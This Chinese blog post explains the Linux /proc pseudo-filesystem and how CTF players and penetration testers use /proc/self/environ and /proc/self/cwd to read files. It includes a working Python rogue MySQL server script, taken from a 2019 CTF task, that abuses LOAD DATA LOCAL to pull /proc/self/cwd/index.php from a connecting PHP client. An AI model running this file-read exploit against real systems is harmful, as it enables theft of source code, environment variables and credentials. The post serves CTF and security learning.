@Author: Patrilic
@Time: 2019-9-11 0:44:23

0x00 前言

我们经常在CTF比赛里,或者实际渗透里,使用到/proc这个目录,比如常常利用/proc/self/cwd来访问进程中的文件,使用/proc/self/environ读取系统的环境变量等

0x01 Proc 到底是个什么东西

实际上我们在任何的GUN/Linux操作系统里,都能找到这个目录,并且里面存在大量目录
f48d8c5a7f26e7be272c7c36a0224e65
但是如果,我们使用 ls -al来查看
e39161263565785f4d27eea36ccec527

可以看到绝大部分文件大小为0

但是我们可以使用cat命令获取其中的大量信息
cc6935b581357039fa948356e6cc9ea9

为什么0字节还能存有内容呢

这里提到一个概念:文件系统
维基百科->https://zh.wikipedia.org/wiki/Procfs

而proc在Unix里常常被称为procfs -> proc file system
它包含一个伪文件系统(启动时动态生成的文件系统),用于通过内核访问进程信息。这个文件系统通常被挂载到 /proc 目录。由于 /proc 不是一个真正的文件系统,它也就不占用存储空间,只是占用有限的内存。

维基百科->https://zh.wikipedia.org/wiki/Procfs

所以说,其实/proc目录更多的是起到一个类似于接口的作用,当我们使用cat命令获取时,它会从内存中获取信息,来返回给用户,而目录中的数字,其实就是PID号。

  • /proc/$PID/cmdline 启动进程时执行的命令
  • /proc/$PID/environ 该文件保存进程的环境变量
  • /proc/$PID/cwd 一个符号连接, 指向进程当前的工作目录
  • /proc/$PID/exe 一个符号连接, 指向被执行的二进制代码
  • /proc/$PID/fd 进程所打开的每个文件都有一个符号连接在该子目录里, 以文件描述符命名, 这个名字实际上是指向真正的文件的符号连接
  • /proc/$PID/attr 进程的属性

0x02 /proc/self

相对于进程PID,我们在实战的文件读取中,更多使用的是/proc/self目录。
stackexchange有一个讨论,
https://unix.stackexchange.com/questions/333225/which-process-is-proc-self-for

也就是说,其实/proc/self 是指向当前进程的内存

比如之前护网杯2019的一道利用 MySQL LOAD DATA特性读取文件,让php远程连接到我们的客户端,然后发送命令,由于在远程服务器是使用apache进程来连接,所以我们可以读取到/proc/self/cwd/index.php
c6ca5efffe4e45310d735cfbe4e70b8e

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# coding=utf-8 
import socket
import logging
logging.basicConfig(level=logging.DEBUG)

filename="/proc/self/cwd/index.php"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

tip: 当找不到网站路径的时候,可以利用/proc/self/cwd目录来读取apache进程的php文件源码

0x03 相关链接🔗

https://blog.csdn.net/goodluckwhh/article/details/17010029
https://unix.stackexchange.com/questions/333225/which-process-is-proc-self-for
https://www.cnblogs.com/youxin/p/4980058.html